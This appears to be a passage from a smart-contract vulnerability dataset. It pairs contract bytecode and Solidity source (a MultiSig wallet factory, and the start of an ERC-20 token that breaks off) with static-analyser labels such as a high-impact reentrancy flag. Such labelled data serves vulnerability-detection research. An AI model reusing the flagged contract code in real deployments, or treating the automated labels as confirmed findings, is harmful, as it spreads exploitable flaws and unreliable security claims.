0657600080fd5b813581811115611b1857611b18611a8c565b8060051b604051601f19603f83011681018181108582111715611b3d57611b3d611a8c565b604052918252848201925083810185019188831115611b5b57600080fd5b938501935b82851015611b8057611b7185611ab7565b84529385019392850192611b60565b98975050505050505050565b600060208083528351808285015260005b81811015611bb957858101830151858201604001528201611b9d565b81811115611bcb576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611bf457600080fd5b8235611bff81611aa2565b946020939093013593505050565b600080600060608486031215611c2257600080fd5b8335611c2d81611aa2565b92506020840135611c3d81611aa2565b929592945050506040919091013590565b600060208284031215611c6057600080fd5b813561144481611aa2565b80358015158114611ac257600080fd5b600060208284031215611c8d57600080fd5b61144482611c6b565b600060208284031215611ca857600080fd5b5035919050565b60008060008060808587031215611cc557600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cf657600080fd5b833567ffffffffffffffff80821115611d0e57600080fd5b818601915086601f830112611d2257600080fd5b813581811115611d3157600080fd5b8760208260051b8501011115611d4657600080fd5b602092830195509350611d5c9186019050611c6b565b90509250925092565b60008060408385031215611d7857600080fd5b8235611d8381611aa2565b91506020830135611d9381611aa2565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e1357611e13611de9565b5060010190565b60008219821115611e2d57611e2d611de9565b500190565b600082821015611e4457611e44611de9565b500390565b600060208284031215611e5b57600080fd5b815161144481611aa2565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611eb65784516001600160a01b031683529383019391830191600101611e91565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611ef457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f1357611f13611de9565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ad313d16d7152360e8ecc7cae64715dbbac852b70153fad8f955e9b6d3d5a71964736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 6,011 |
0xd05bba08a7a2209896cd5df11ffa0211bb03d418
|
pragma solidity 0.7.4;
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function functionCallWithValue(address target, bytes memory data, uint256 weiValue) internal returns (bytes memory) {
// solhint-disable-next-line avoid-low-level-calls
require(data.length == 0 || isContract(target));
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
revert(string(returndata));
}
}
}
contract MultiSigFactory {
event ContractCreated(address contractAddress, string typeName);
function create(address owner) public returns (address) {
address instance = address(new MultiSig(owner));
emit ContractCreated(instance, "MultiSig");
return instance;
}
function predict(address owner, bytes32 salt) public view returns (address) {
return address(uint(keccak256(abi.encodePacked(byte(0xff), address(this), salt,
keccak256(abi.encodePacked(type(MultiSig).creationCode, owner))
))));
}
function create(address owner, bytes32 salt) public returns (address) {
address instance = address(new MultiSig{salt: salt}(owner));
emit ContractCreated(instance, "MultiSig");
return instance;
}
}
contract Nonce {
uint256 public constant MAX_INCREASE = 100;
uint256 private compound;
constructor(){
setBoth(128, 0);
}
/**
* The next recommended nonce, which is the highest nonce ever used plus one.
*/
function nextNonce() public view returns (uint256){
return getMax() + 1;
}
/**
* Returns whether the provided nonce can be used.
* For the 100 nonces in the interval [nextNonce(), nextNonce + 99], this is always true.
* For the nonces in the interval [nextNonce() - 129, nextNonce() - 1], this is true for the nonces that have not been used yet.
*/
function isFree(uint128 nonce) public view returns (bool){
uint128 max = getMax();
return isValidHighNonce(max, nonce) || isValidLowNonce(max, getRegister(), nonce);
}
/**
* Flags the given nonce as used.
* Reverts if the provided nonce is not free.
*/
function flagUsed(uint128 nonce) public {
uint256 comp = compound;
uint128 max = uint128(comp);
uint128 reg = uint128(comp >> 128);
if (isValidHighNonce(max, nonce)){
setBoth(nonce, ((reg << 1) | 0x1) << (nonce - max - 1));
} else if (isValidLowNonce(max, reg, nonce)){
setBoth(max, uint128(reg | 0x1 << (max - nonce - 1)));
} else {
require(false);
}
}
function getMax() private view returns (uint128) {
return uint128(compound);
}
function getRegister() private view returns (uint128) {
return uint128(compound >> 128);
}
function setBoth(uint128 max, uint128 reg) private {
compound = uint256(reg) << 128 | max;
}
function isValidHighNonce(uint128 max, uint128 nonce) private pure returns (bool){
return nonce > max && nonce <= max + MAX_INCREASE;
}
function isValidLowNonce(uint128 max, uint128 reg, uint256 nonce) private pure returns (bool){
uint256 diff = max - nonce;
return diff > 0 && diff <= 128 && ((0x1 << (diff - 1)) & reg == 0);
}
}
library RLPEncode {
uint8 constant STRING_SHORT_PREFIX = 0x80;
uint8 constant STRING_LONG_PREFIX = 0xb7;
uint8 constant LIST_SHORT_PREFIX = 0xc0;
uint8 constant LIST_LONG_PREFIX = 0xf7;
/// @dev Rlp encodes a bytes
/// @param self The bytes to be encoded
/// @return The rlp encoded bytes
function encodeBytes(bytes memory self) internal pure returns (bytes memory) {
if(self.length == 1 && self[0] < 0x80) {
return self;
} else {
return encode(self, STRING_SHORT_PREFIX, STRING_LONG_PREFIX);
}
}
/// @dev Rlp encodes a bytes[]. Note that the items in the bytes[] will not automatically be rlp encoded.
/// @param self The bytes[] to be encoded
/// @return The rlp encoded bytes[]
function encodeList(bytes[] memory self) internal pure returns (bytes memory) {
bytes memory list = flatten(self);
return encode(list, LIST_SHORT_PREFIX, LIST_LONG_PREFIX);
}
function encode(bytes memory self, uint8 prefix1, uint8 prefix2) private pure returns (bytes memory) {
uint selfPtr;
assembly { selfPtr := add(self, 0x20) }
uint len = self.length;
if(len <= 55) {
bytes memory encoded = new bytes(len+1);
uint8 lenshort = uint8(len);
// length encoding byte
encoded[0] = byte(prefix1+lenshort);
// string/list contents
uint encodedPtr;
assembly { encodedPtr := add(encoded, 0x21) }
memcpy(encodedPtr, selfPtr, len);
return encoded;
} else {
uint8 lenLen;
uint i = 0x1;
while(len/i != 0) {
lenLen++;
i *= 0x100;
}
// 1 is the length of the length of the length
bytes memory encoded = new bytes(1+lenLen+len);
// length of the length encoding byte
encoded[0] = byte(prefix2+lenLen);
// length bytes
for(i=1; i<=lenLen; i++) {
encoded[i] = byte(uint8((len/(0x100**(lenLen-i)))%0x100));
}
// string/list contents
uint encodedPtr;
assembly { encodedPtr := add(add(encoded, 0x21), lenLen) }
memcpy(encodedPtr, selfPtr, len);
return encoded;
}
}
function flatten(bytes[] memory self) private pure returns (bytes memory) {
if(self.length == 0) {
return new bytes(0);
}
uint len;
for(uint i=0; i<self.length; i++) {
len += self[i].length;
}
bytes memory flattened = new bytes(len);
uint flattenedPtr;
assembly { flattenedPtr := add(flattened, 0x20) }
for(uint i=0; i<self.length; i++) {
bytes memory item = self[i];
uint selfPtr;
assembly { selfPtr := add(item, 0x20)}
memcpy(flattenedPtr, selfPtr, item.length);
flattenedPtr += self[i].length;
}
return flattened;
}
/// This function is from Nick Johnson's string utils library
function memcpy(uint dest, uint src, uint len) private pure {
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
}
contract MultiSig is Nonce {
mapping (address => uint8) public signers; // The addresses that can co-sign transactions and the number of signatures needed
uint16 public signerCount;
bytes public contractId; // most likely unique id of this contract
event SignerChange(
address indexed signer,
uint8 cosignaturesNeeded
);
event Transacted(
address indexed toAddress, // The address the transaction was sent to
bytes4 selector, // selected operation
address[] signers // Addresses of the signers used to initiate the transaction
);
constructor (address owner) {
// We use the gas price to get a unique id into our transactions.
// Note that 32 bits do not guarantee that no one can generate a contract with the
// same id, but it practically rules out that someone accidentally creates two
// two multisig contracts with the same id, and that's all we need to prevent
// replay-attacks.
contractId = toBytes(uint32(address(this)));
_setSigner(owner, 1); // set initial owner
}
/**
* It should be possible to store ether on this address.
*/
receive() external payable {
}
/**
* Checks if the provided signatures suffice to sign the transaction and if the nonce is correct.
*/
function checkSignatures(uint128 nonce, address to, uint value, bytes calldata data,
uint8[] calldata v, bytes32[] calldata r, bytes32[] calldata s) public view returns (address[] memory) {
bytes32 transactionHash = calculateTransactionHash(nonce, contractId, to, value, data);
return verifySignatures(transactionHash, v, r, s);
}
/**
* Checks if the execution of a transaction would succeed if it was properly signed.
*/
function checkExecution(address to, uint value, bytes calldata data) public {
Address.functionCallWithValue(to, data, value);
require(false, "Test passed. Reverting.");
}
function execute(uint128 nonce, address to, uint value, bytes calldata data, uint8[] calldata v, bytes32[] calldata r, bytes32[] calldata s) public returns (bytes memory) {
bytes32 transactionHash = calculateTransactionHash(nonce, contractId, to, value, data);
address[] memory found = verifySignatures(transactionHash, v, r, s);
bytes memory returndata = Address.functionCallWithValue(to, data, value);
flagUsed(nonce);
emit Transacted(to, extractSelector(data), found);
return returndata;
}
function extractSelector(bytes calldata data) private pure returns (bytes4){
if (data.length < 4){
return bytes4(0);
} else {
return bytes4(data[0]) | (bytes4(data[1]) >> 8) | (bytes4(data[2]) >> 16) | (bytes4(data[3]) >> 24);
}
}
function toBytes(uint number) internal pure returns (bytes memory){
uint len = 0;
uint temp = 1;
while (number >= temp){
temp = temp << 8;
len++;
}
temp = number;
bytes memory data = new bytes(len);
for (uint i = len; i>0; i--) {
data[i-1] = bytes1(uint8(temp));
temp = temp >> 8;
}
return data;
}
// Note: does not work with contract creation
function calculateTransactionHash(uint128 sequence, bytes storage id, address to, uint value, bytes calldata data)
private pure returns (bytes32){
bytes[] memory all = new bytes[](9);
all[0] = toBytes(sequence); // sequence number instead of nonce
all[1] = id; // contract id instead of gas price
all[2] = toBytes(21000); // gas limit
all[3] = abi.encodePacked(to);
all[4] = toBytes(value);
all[5] = data;
all[6] = toBytes(1);
all[7] = toBytes(0);
for (uint i = 0; i<8; i++){
all[i] = RLPEncode.encodeBytes(all[i]);
}
all[8] = all[7];
return keccak256(RLPEncode.encodeList(all));
}
function verifySignatures(bytes32 transactionHash, uint8[] calldata v, bytes32[] calldata r, bytes32[] calldata s)
private view returns (address[] memory) {
address[] memory found = new address[](r.length);
for (uint i = 0; i < r.length; i++) {
address signer = ecrecover(transactionHash, v[i], r[i], s[i]);
uint8 cosignaturesNeeded = signers[signer];
require(cosignaturesNeeded > 0 && cosignaturesNeeded <= r.length, "cosigner error");
found[i] = signer;
}
requireNoDuplicates(found);
return found;
}
function requireNoDuplicates(address[] memory found) private pure {
for (uint i = 0; i < found.length; i++) {
for (uint j = i+1; j < found.length; j++) {
require(found[i] != found[j], "duplicate signature");
}
}
}
/**
* Call this method through execute
*/
function setSigner(address signer, uint8 cosignaturesNeeded) public authorized {
_setSigner(signer, cosignaturesNeeded);
require(signerCount > 0);
}
function migrate(address destination) public {
_migrate(msg.sender, destination);
}
function migrate(address source, address destination) public authorized {
_migrate(source, destination);
}
function _migrate(address source, address destination) private {
require(signers[destination] == 0); // do not overwrite existing signer!
_setSigner(destination, signers[source]);
_setSigner(source, 0);
}
function _setSigner(address signer, uint8 cosignaturesNeeded) private {
require(!Address.isContract(signer), "signer cannot be a contract");
uint8 prevValue = signers[signer];
signers[signer] = cosignaturesNeeded;
if (prevValue > 0 && cosignaturesNeeded == 0){
signerCount--;
} else if (prevValue == 0 && cosignaturesNeeded > 0){
signerCount++;
}
emit SignerChange(signer, cosignaturesNeeded);
}
modifier authorized() {
require(address(this) == msg.sender || signers[msg.sender] == 1, "not authorized");
_;
}
}
|
0x608060405234801561001057600080fd5b50600436106100415760003560e01c806364fb6f5e146100465780639ed933181461008e578063a3def923146100b4575b600080fd5b6100726004803603604081101561005c57600080fd5b506001600160a01b0381351690602001356100e0565b604080516001600160a01b039092168252519081900360200190f35b610072600480360360208110156100a457600080fd5b50356001600160a01b03166101e2565b610072600480360360408110156100ca57600080fd5b506001600160a01b038135169060200135610284565b600060ff60f81b3083604051806020016100f99061032b565b6020820181038252601f19601f82011660405250866040516020018083805190602001908083835b602083106101405780518252601f199092019160209182019101610121565b51815160001960209485036101000a019081169019919091161790526bffffffffffffffffffffffff19606096871b81169490920193845260408051600b198187030181526014860182528051908301206001600160f81b0319909b1660348601529890951b16603583015250604981019490945250606980840195909552835180840390950185526089909201909252825192019190912091505092915050565b600080826040516101f29061032b565b6001600160a01b03909116815260405190819003602001906000f08015801561021f573d6000803e3d6000fd5b50604080516001600160a01b038316815260208101829052600881830152674d756c746953696760c01b606082015290519192507f5748f17320a7bfc4dad968e541c61b9fa9923765f9efdfa3dffc76763e02d196919081900360800190a192915050565b60008082846040516102959061032b565b6001600160a01b0390911681526040518291819003602001906000f59050801580156102c5573d6000803e3d6000fd5b50604080516001600160a01b038316815260208101829052600881830152674d756c746953696760c01b606082015290519192507f5748f17320a7bfc4dad968e541c61b9fa9923765f9efdfa3dffc76763e02d196919081900360800190a19392505050565b611d43806103398339019056fe60806040523480156200001157600080fd5b5060405162001d4338038062001d43833981810160405260208110156200003757600080fd5b5051620000476080600062000083565b6200005863ffffffff3016620000a4565b80516200006e91600391602090910190620002db565b506200007c8160016200015a565b5062000387565b6001600160801b031960809190911b166001600160801b0390911617600055565b6060600060015b808410620000c25760019091019060081b620000ab565b50826060826001600160401b0381118015620000dd57600080fd5b506040519080825280601f01601f19166020018201604052801562000109576020820181803683370190505b509050825b801562000151578260f81b8260018303815181106200012957fe5b60200101906001600160f81b031916908160001a90535060089290921c91600019016200010e565b50949350505050565b62000170826200029e60201b62000bc81760201c565b15620001c3576040805162461bcd60e51b815260206004820152601b60248201527f7369676e65722063616e6e6f74206265206120636f6e74726163740000000000604482015290519081900360640190fd5b6001600160a01b0382166000908152600160205260409020805460ff83811660ff19831617909255168015801590620001fd575060ff8216155b1562000223576002805461ffff19811661ffff9182166000190190911617905562000257565b60ff811615801562000238575060008260ff16115b1562000257576002805461ffff8082166001011661ffff199091161790555b6040805160ff8416815290516001600160a01b038516917f7f00bf87056fc9622b70d830cce34aa24d6c12881ebbc71d3bf22d0c5ae295b7919081900360200190a2505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590620002d357508115155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826200031357600085556200035e565b82601f106200032e57805160ff19168380011785556200035e565b828001600101855582156200035e579182015b828111156200035e57825182559160200191906001019062000341565b506200036c92915062000370565b5090565b5b808211156200036c576000815560010162000371565b6119ac80620003976000396000f3fe6080604052600436106100c65760003560e01c80638291286c1161007f578063c1e38e8d11610059578063c1e38e8d146104d8578063ce5494bb1461050b578063d69c3d301461053e578063ecec0dfd14610553576100cd565b80638291286c146103ec578063b5fe516314610401578063b6e404de14610448576100cd565b80630f43d678146100d25780631068361f1461011057806348753d001461014b578063736c0d5b146103505780637ca548c6146103995780637cedbb80146103c5576100cd565b366100cd57005b600080fd5b3480156100de57600080fd5b5061010e600480360360408110156100f557600080fd5b5080356001600160a01b0316906020013560ff16610733565b005b34801561011c57600080fd5b5061010e6004803603604081101561013357600080fd5b506001600160a01b03813581169160200135166107b4565b34801561015757600080fd5b506102db600480360360e081101561016e57600080fd5b6001600160801b03823516916001600160a01b036020820135169160408201359190810190608081016060820135600160201b8111156101ad57600080fd5b8201836020820111156101bf57600080fd5b803590602001918460018302840111600160201b831117156101e057600080fd5b919390929091602081019035600160201b8111156101fd57600080fd5b82018360208201111561020f57600080fd5b803590602001918460208302840111600160201b8311171561023057600080fd5b919390929091602081019035600160201b81111561024d57600080fd5b82018360208201111561025f57600080fd5b803590602001918460208302840111600160201b8311171561028057600080fd5b919390929091602081019035600160201b81111561029d57600080fd5b8201836020820111156102af57600080fd5b803590602001918460208302840111600160201b831117156102d057600080fd5b509092509050610821565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103155781810151838201526020016102fd565b50505050905090810190601f1680156103425780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035c57600080fd5b506103836004803603602081101561037357600080fd5b50356001600160a01b0316610951565b6040805160ff9092168252519081900360200190f35b3480156103a557600080fd5b506103ae610966565b6040805161ffff9092168252519081900360200190f35b3480156103d157600080fd5b506103da610970565b60408051918252519081900360200190f35b3480156103f857600080fd5b506102db610975565b34801561040d57600080fd5b506104346004803603602081101561042457600080fd5b50356001600160801b0316610a03565b604080519115158252519081900360200190f35b34801561045457600080fd5b5061010e6004803603606081101561046b57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561049a57600080fd5b8201836020820111156104ac57600080fd5b803590602001918460018302840111600160201b831117156104cd57600080fd5b509092509050610a44565b3480156104e457600080fd5b5061010e600480360360208110156104fb57600080fd5b50356001600160801b0316610ada565b34801561051757600080fd5b5061010e6004803603602081101561052e57600080fd5b50356001600160a01b0316610b6b565b34801561054a57600080fd5b506103da610b78565b34801561055f57600080fd5b506106e3600480360360e081101561057657600080fd5b6001600160801b03823516916001600160a01b036020820135169160408201359190810190608081016060820135600160201b8111156105b557600080fd5b8201836020820111156105c757600080fd5b803590602001918460018302840111600160201b831117156105e857600080fd5b919390929091602081019035600160201b81111561060557600080fd5b82018360208201111561061757600080fd5b803590602001918460208302840111600160201b8311171561063857600080fd5b919390929091602081019035600160201b81111561065557600080fd5b82018360208201111561066757600080fd5b803590602001918460208302840111600160201b8311171561068857600080fd5b919390929091602081019035600160201b8111156106a557600080fd5b8201836020820111156106b757600080fd5b803590602001918460208302840111600160201b831117156106d857600080fd5b509092509050610b93565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561071f578181015183820152602001610707565b505050509050019250505060405180910390f35b3033148061075457503360009081526001602081905260409091205460ff16145b610796576040805162461bcd60e51b815260206004820152600e60248201526d1b9bdd08185d5d1a1bdc9a5e995960921b604482015290519081900360640190fd5b6107a08282610c04565b60025461ffff166107b057600080fd5b5050565b303314806107d557503360009081526001602081905260409091205460ff16145b610817576040805162461bcd60e51b815260206004820152600e60248201526d1b9bdd08185d5d1a1bdc9a5e995960921b604482015290519081900360640190fd5b6107b08282610d35565b606060006108348d60038e8e8e8e610d8d565b90506060610847828a8a8a8a8a8a61103f565b9050606061089a8e8d8d8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050508f6111eb565b90506108a58f610ada565b8d6001600160a01b03167f64ada3f9bcd41ebd407b399dc401184273a19bc294825172626af05a15c95d256108da8e8e611350565b8460405180836001600160e01b031916815260200180602001828103825283818151815260200191508051906020019060200280838360005b8381101561092b578181015183820152602001610913565b50505050905001935050505060405180910390a29e9d5050505050505050505050505050565b60016020526000908152604090205460ff1681565b60025461ffff1681565b606481565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109fb5780601f106109d0576101008083540402835291602001916109fb565b820191906000526020600020905b8154815290600101906020018083116109de57829003601f168201915b505050505081565b600080610a0e6113f4565b9050610a1a81846113fa565b80610a3b5750610a3b81610a2c61142e565b856001600160801b0316611437565b9150505b919050565b610a868483838080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508892506111eb915050565b506040805162461bcd60e51b815260206004820152601760248201527f54657374207061737365642e20526576657274696e672e000000000000000000604482015290519081900360640190fd5b50505050565b60005480608081901c610aed82856113fa565b15610b2b57610b26846001848703036001600160801b03166001846001600160801b0316901b6001176001600160801b0316901b61147b565b610ad4565b610b3f8282866001600160801b0316611437565b156100cd57610b26826001868503036001600160801b03166001901b836001600160801b03161761147b565b610b753382610d35565b50565b6000610b826113f4565b6001016001600160801b0316905090565b60606000610ba68d60038e8e8e8e610d8d565b9050610bb78189898989898961103f565b9d9c50505050505050505050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590610bfc57508115155b949350505050565b610c0d82610bc8565b15610c5f576040805162461bcd60e51b815260206004820152601b60248201527f7369676e65722063616e6e6f74206265206120636f6e74726163740000000000604482015290519081900360640190fd5b6001600160a01b0382166000908152600160205260409020805460ff83811660ff19831617909255168015801590610c98575060ff8216155b15610cbc576002805461ffff19811661ffff91821660001901909116179055610cee565b60ff8116158015610cd0575060008260ff16115b15610cee576002805461ffff8082166001011661ffff199091161790555b6040805160ff8416815290516001600160a01b038516917f7f00bf87056fc9622b70d830cce34aa24d6c12881ebbc71d3bf22d0c5ae295b7919081900360200190a2505050565b6001600160a01b03811660009081526001602052604090205460ff1615610d5b57600080fd5b6001600160a01b038216600090815260016020526040902054610d8290829060ff16610c04565b6107b0826000610c04565b604080516009808252610140820190925260009160609190816020015b6060815260200190600190039081610daa579050509050610dd3886001600160801b03166114a5565b81600081518110610de057fe5b602090810291909101810191909152875460408051601f6002600019610100600187161502019094169390930492830184900484028101840190915281815291899190830182828015610e745780601f10610e4957610100808354040283529160200191610e74565b820191906000526020600020905b815481529060010190602001808311610e5757829003601f168201915b505050505081600181518110610e8657fe5b6020026020010181905250610e9c6152086114a5565b81600281518110610ea957fe5b60200260200101819052508560405160200180826001600160a01b031660601b815260140191505060405160208183030381529060405281600381518110610eed57fe5b6020026020010181905250610f01856114a5565b81600481518110610f0e57fe5b602002602001018190525083838080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250508351849250600591508110610f5e57fe5b6020026020010181905250610f7360016114a5565b81600681518110610f8057fe5b6020026020010181905250610f9560006114a5565b81600781518110610fa257fe5b602002602001018190525060005b6008811015610ff457610fd5828281518110610fc857fe5b6020026020010151611555565b828281518110610fe157fe5b6020908102919091010152600101610fb0565b508060078151811061100257fe5b60200260200101518160088151811061101757fe5b602002602001018190525061102b816115a6565b805190602001209150509695505050505050565b6060808467ffffffffffffffff8111801561105957600080fd5b50604051908082528060200260200182016040528015611083578160200160208202803683370190505b50905060005b858110156111d557600060018b8b8b858181106110a257fe5b9050602002013560ff168a8a868181106110b857fe5b905060200201358989878181106110cb57fe5b9050602002013560405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015611126573d6000803e3d6000fd5b505060408051601f1901516001600160a01b03811660009081526001602052919091205490925060ff1690508015801590611164575060ff81168810155b6111a6576040805162461bcd60e51b815260206004820152600e60248201526d31b7b9b4b3b732b91032b93937b960911b604482015290519081900360640190fd5b818484815181106111b357fe5b6001600160a01b03909216602092830291909101909101525050600101611089565b506111df816115c1565b98975050505050505050565b6060825160001480611201575061120184610bc8565b61120a57600080fd5b60006060856001600160a01b031684866040518082805190602001908083835b602083106112495780518252601f19909201916020918201910161122a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146112ab576040519150601f19603f3d011682016040523d82523d6000602084013e6112b0565b606091505b509150915081156112c45791506113499050565b8060405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561130e5781810151838201526020016112f6565b50505050905090810190601f16801561133b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b9392505050565b60006004821015611363575060006113ee565b60188383600381811061137257fe5b909101356001600160f81b03191690911c905060108484600281811061139457fe5b909101356001600160f81b03191690911c90506008858560018181106113b657fe5b909101356001600160f81b03191690911c905085856000816113d457fe5b9050013560f81c60f81b6001600160f81b03191617171790505b92915050565b60005490565b6000826001600160801b0316826001600160801b03161180156113495750506001600160801b039182166064019116111590565b60005460801c90565b60006001600160801b0384168290038015801590611456575060808111155b80156114725750600160001982011b84166001600160801b0316155b95945050505050565b6fffffffffffffffffffffffffffffffff1960809190911b166001600160801b0390911617600055565b6060600060015b8084106114c15760019091019060081b6114ac565b508260608267ffffffffffffffff811180156114dc57600080fd5b506040519080825280601f01601f191660200182016040528015611507576020820181803683370190505b509050825b801561154c578260f81b82600183038151811061152557fe5b60200101906001600160f81b031916908160001a90535060089290921c916000190161150c565b50949350505050565b6060815160011480156115865750608060f81b8260008151811061157557fe5b01602001516001600160f81b031916105b15611592575080610a3f565b61159f82608060b761166f565b9050610a3f565b6060806115b28361182e565b9050610a3b8160c060f761166f565b60005b81518110156107b057600181015b8251811015611666578281815181106115e757fe5b60200260200101516001600160a01b031683838151811061160457fe5b60200260200101516001600160a01b0316141561165e576040805162461bcd60e51b81526020600482015260136024820152726475706c6963617465207369676e617475726560681b604482015290519081900360640190fd5b6001016115d2565b506001016115c4565b82516060906020850190603781116117165760608160010167ffffffffffffffff8111801561169d57600080fd5b506040519080825280601f01601f1916602001820160405280156116c8576020820181803683370190505b509050600082905080870160f81b826000815181106116e357fe5b60200101906001600160f81b031916908160001a90535060218201611709818686611938565b8295505050505050611349565b600060015b80838161172457fe5b0415611739576001909101906101000261171b565b6060838360010160ff160167ffffffffffffffff8111801561175a57600080fd5b506040519080825280601f01601f191660200182016040528015611785576020820181803683370190505b50905082870160f81b8160008151811061179b57fe5b60200101906001600160f81b031916908160001a905350600191505b8260ff16821161181057610100828460ff16036101000a85816117d657fe5b04816117de57fe5b0660f81b8183815181106117ee57fe5b60200101906001600160f81b031916908160001a9053506001909101906117b7565b808301602101611821818787611938565b5094506113499350505050565b606081516000141561184f5750604080516000815260208101909152610a3f565b6000805b83518110156118825783818151811061186857fe5b602002602001015151820191508080600101915050611853565b5060608167ffffffffffffffff8111801561189c57600080fd5b506040519080825280601f01601f1916602001820160405280156118c7576020820181803683370190505b5090506020810160005b855181101561192e5760608682815181106118e857fe5b60200260200101519050600060208201905061190684828451611938565b87838151811061191257fe5b60200260200101515184019350505080806001019150506118d1565b5090949350505050565b5b60208110611958578151835260209283019290910190601f1901611939565b905182516020929092036101000a600019018019909116911617905256fea26469706673582212209469361f0335e52310c37059766104d2dc4c55fa72972b7172fcbbcc974cfdc164736f6c63430007040033a26469706673582212205a7098938107d6d7515ac6675dd73532678d053f4fff526ae5395f0ef891d93464736f6c63430007040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,012 |
0x6cbdb562315818766a1064be01fbacfe0581a14e
|
/**
*Submitted for verification at Etherscan.io on 2022-03-07
*/
/**
_░▒███████
░██▓▒░░▒▓██
██▓▒░__░▒▓██___██████
██▓▒░____░▓███▓__░▒▓██
██▓▒░___░▓██▓_____░▒▓██
██▓▒░_______________░▒▓██
_██▓▒░______________░▒▓██
__██▓▒░____________░▒▓██
___██▓▒░__________░▒▓██
____██▓▒░________░▒▓██
_____██▓▒░_____░▒▓██
______██▓▒░__░▒▓██
_______█▓▒░░▒▓██
_________░▒▓██
_______░▒▓██
_____░▒▓██
*/
//Telegram - https://t.me/lovutoken
//website - http://lovueth.com/
//Twitter - https://twitter.com/lovuerc20
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
